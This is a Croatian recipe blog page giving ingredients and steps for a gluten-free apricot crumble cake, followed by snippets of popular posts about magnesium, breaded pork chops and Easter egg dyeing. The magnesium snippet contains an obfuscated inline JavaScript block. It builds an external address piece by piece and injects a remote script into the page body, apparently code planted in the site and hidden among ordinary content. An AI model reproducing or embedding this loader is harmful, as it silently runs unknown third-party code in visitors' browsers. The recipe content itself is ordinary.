ČUPAVI KOLAČ OD MARELICA




Čupavi kolač od marelica 



Ako ne znate što s marelicama, evo super prijedlog za jedan čupavi kolač u kojem glavnu ulogu imaju upravo one, obožavamo ovu kombinaciju prhkog tijesta i sočnih marelica punih okusa. Kod pripreme tijesta sastojke nemojte mijesiti predugo kako vam ne bi ispalo pretvrdo. Tijesto svakako ohladite, taj korak nemojte preskočiti jer će vam kasnije biti lakše ribanje gornjeg, baš kao i oblikovanje i valjanje donjeg sloja.





Čupavi kolač od marelica 


Sastojci:

Tijesto

280 g bezglutenskog brašna
150 g hladnog maslaca 
80 g šećera u prahu
1–2 žlice kiselog vrhnja
1 žličica praška za pecivo
2 žumanjka
1 cijelo jaje
1 vanilin šećer
naribana korica 1 naranče
prstohvat soli


Nadjev

700–800 g zrelih marelica
50 g mljevenih oraha
30 g mljevenih badema (ili još oraha)
2 žlice smeđeg šećera
1 žlica gustina
prstohvat cimeta



Priprema:

Sve sastojke za tijesto kratko izmijesite. Zatim ga podijelite na 2/3 za dno i 1/3 za ribanje. Veći dio stavite u hladnjak 30 minuta, manji u zamrzivač. Razvaljajte tijesto u lim i pecite 10 minuta na 180 °C.

Na predpečenu podlogu pospite orahe i bademe. Marelice pomiješajte sa šećerom i gustinom pa rasporedite po tijestu. Naribajte smrznuto tijesto preko marelica. Pecite još 30–35 minuta na 180 °C. Kada se ohladi, pospite šećerom u prahu i dodajte malo naribane korice naranče preko vrha.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više